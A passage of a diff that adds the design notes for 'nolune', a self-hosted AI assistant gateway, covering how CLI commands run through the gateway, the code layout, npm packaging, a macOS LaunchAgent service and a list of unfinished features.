+ [Code layout](#code-layout)), streams stdout and stderr back and ends with the exit code. Stdin
1518
+ goes over only when the command reads it, so a command that doesn't never waits on it.
1519
+ - **What stays local.** `setup`, `start`, `service` and `init` always run in their own process,
1520
+ and so does any command typed at a terminal (stdin is a TTY), since it may ask something. The
1521
+ agent's commands and automation scripts have no terminal, so theirs go to the gateway.
1522
+ - **Falling back.** When nothing answers on the socket (no gateway, or the one that left it was
1523
+ killed), or the gateway speaks another protocol version (`PROTOCOL`), `nolune` loads nolune and runs
1524
+ the command itself, as before. Once the gateway has a command, `nolune` never runs it again, even
1525
+ if the gateway goes away in the middle ("the gateway stopped before the command finished", exit
1526
+ 1): it may have done part of it, like a `nolune memory add`.
1527
+ - **Stopping.** `nolune` hanging up (its command's timeout, or Stop) aborts the command's signal, which
1528
+ ends a `nolune agent watch` or `nolune generate image`. The socket never keeps the gateway running by
1529
+ itself, and on adapter-node's shutdown it closes and drops the commands still running, whose
1530
+ `nolune` then says the gateway stopped.
1531
+ - **Costs.** `dist/cli.js` holds only the client (3 KB): esbuild splits the rest of nolune into
1532
+ `dist/chunks`, loaded only to run a command locally. Through the gateway, `nolune` takes about
1533
+ 50 ms from the bundle (Node alone takes about 25) and 100 ms from source. A command now runs
1534
+ in the gateway's process, so the gateway serves the help text built when asked (the image model
1535
+ may have changed since it started), and a slow command would briefly hold up its event loop;
1536
+ image conversion runs in a child process, so `nolune view` doesn't.
1537
+
1538
+ ## Code layout
1539
+
1540
+ ```
1541
+ packages/core @nolune/core. Schema + migrations, config, skills, prompt, run_command, background
1542
+ commands, memory notes (search and recall, learning from chats, and
1543
+ memory-export.ts, memory-import.ts: memories brought over from another
1544
+ assistant), new-chat suggestions, nolune view images, attachments, model
1545
+ calls (models.ts, with anthropic.ts, openai-chat.ts and openrouter.ts, each with
1546
+ its Files API and the function that turns nolune's format, format.ts, into its
1547
+ request, and custom-providers.ts, your own servers in either API),
1548
+ plans (plans.ts: the Claude plan's turns through Claude Code in claude-plan.ts, the
1549
+ ChatGPT plan's through Codex's app server in chatgpt-plan.ts and
1550
+ codex-app-server.ts), provider
1551
+ file cache, runner, media, users/profiles/presets, API
1552
+ keys, chat folders, triggers, scheduler, subagents (subagents.ts, and
1553
+ subagent-host.ts in the gateway), notifications, image generation (providers:
1554
+ openai.ts), image templates and assistant avatars.
1555
+ Built-in skills in packages/core/skills, built-in templates in
1556
+ packages/core/image-templates. Plain TypeScript run by Node with type stripping
1557
+ (no enums or parameter properties; imports use .ts extensions).
1558
+ packages/cli nolune: setup, start, service, config, key, claude-plan, chatgpt-plan (plans.ts), env,
1559
+ user, preset, profile, skill, trigger, wake, view, memory, generate, agent. `runCli(argv, io)` in run.ts runs a command and returns
1560
+ its exit code; index.ts calls it with this process's io. Commands print, read stdin,
1561
+ the environment (NOLUNE_PROFILE, …) and the working folder only through `io` (io.ts),
1562
+ never `process`, and end in an error rather than `process.exit`, so the agent's
1563
+ commands can run inside the gateway: index.ts asks it first (client.ts, over
1564
+ protocol.ts), and serve.ts is the gateway's side. setup, start and service stay in a
1565
+ process of their own: they prompt at a terminal, run the gateway or manage its
1566
+ service.
1567
+ src/ SvelteKit gateway (adapter-node). @nolune/core is bundled into the server build.
1568
+ UI components in src/lib/components (shadcn-svelte primitives in ui/, a new
1569
+ profile's welcome in welcome/, its sounds in src/lib/welcome), the interface's
1570
+ languages in src/lib/i18n.
1571
+ scripts/ build-cli.mjs bundles the CLI and core into dist/cli.js with esbuild.
1572
+ ```
1573
+
1574
+ Core finds the package root by walking up to the `package.json` named `nolune`. That works
1575
+ from source, from the SvelteKit build and from the bundled CLI, and gives the paths to the
1576
+ migrations, `build/index.js` and the CLI entry.
1577
+
1578
+ ## Distribution
1579
+
1580
+ Published to npm as `nolune` from a `v*` tag by `.github/workflows/publish.yml`, with npm trusted
1581
+ publishing (see Publishing in the README). `npm install -g nolune` gives the `nolune` command.
1582
+
1583
+ - The package ships `build/` (the web app, without its source maps, which Node doesn't load unless
1584
+ asked to and which are most of its size), `dist/cli.js` with its `dist/chunks`,
1585
+ `packages/core/drizzle`, the built-in skills in `packages/core/skills` and the built-in image
1586
+ templates in `packages/core/image-templates`. Its only runtime dependency is `better-sqlite3` (a
1587
+ native module with prebuilt binaries). Everything else is bundled. Node won't strip types inside
1588
+ `node_modules`, which is why the CLI ships as JavaScript.
1589
+ Claude Code itself isn't shipped (see [The Claude plan](#the-claude-plan)); the Agent SDK and
1590
+ zod, which core loads on first use, are in chunks of their own.
1591
+ - `nolune setup` is the first-run wizard: config, admin account, public URL. It adds no key or
1592
+ model: a new profile's welcome asks the admin for them when there's no preset.
1593
+ - `nolune start` reads host, port and origin from `config.json` (default `127.0.0.1:5780`), sets
1594
+ `HOST` / `PORT` / `ORIGIN` for adapter-node and imports `build/index.js`.
1595
+ - `nolune service install` writes a LaunchAgent (`~/Library/LaunchAgents/dev.nolune.gateway.plist`)
1596
+ that runs `node dist/cli.js start` with `KeepAlive` and logs to `~/.nolune/logs/gateway.log`.
1597
+ It's a LaunchAgent, not a LaunchDaemon, so commands run as the user. It records the absolute
1598
+ node path, so switching Node versions needs a reinstall.
1599
+ - On shutdown, the gateway kills the process groups of commands that are still running.
1600
+ - Remote access is the user's tunnel (Tailscale Funnel, Cloudflare Tunnel, a VPS). The gateway only
1601
+ binds to localhost by default.
1602
+ - macOS privacy (TCC): the background `node` process needs Full Disk Access to reach Documents,
1603
+ Desktop, Photos and Mail. Setup prints the path. Granting it applies to everything that node
1604
+ binary runs.
1605
+
1606
+ ## Not done yet
1607
+
1608
+ - **Compaction.** The context window is already stored on each conversation and shown in the UI.
1609
+ The next step is server-side compaction (beta `compact-2026-01-12`), triggered at about 85% of the
1610
+ window.
1611
+ - Other chat providers (Gemini). See [Model providers](#model-providers) for what each needs.
1612
+ - OpenRouter: provider preferences (`provider.order`, data policy), and PDFs for models that don't
1613
+ read them, through OpenRouter's parser with its annotations sent back so a PDF is parsed once.
1614
+ - The Claude plan: deleting a chat's Claude Code session with the chat (the SDK has
1615
+ `deleteSession`); messages sent mid-turn joining at Claude Code's next step (its input stream
1616
+ takes them) rather than after the turn.
1617
+ - Other image providers (OpenRouter, fal, Higgsfield): a module each next to `openai.ts` and an entry
1618
+ in `PROVIDERS`, plus one in `API_KEYS` (config.ts) and a check request in `api-keys.ts`.
1619
+ - Smart approval mode.
1620
+ - Refusal fallbacks (`fallbacks: "default"`) for models that support them. Refusals are shown in the UI today.
1621
+ - Push notifications (Web Push) for the bell. Today it only updates while a page is open.
1622
+ - A `nolune notify` command for scripts that only need to say something, without waking the agent.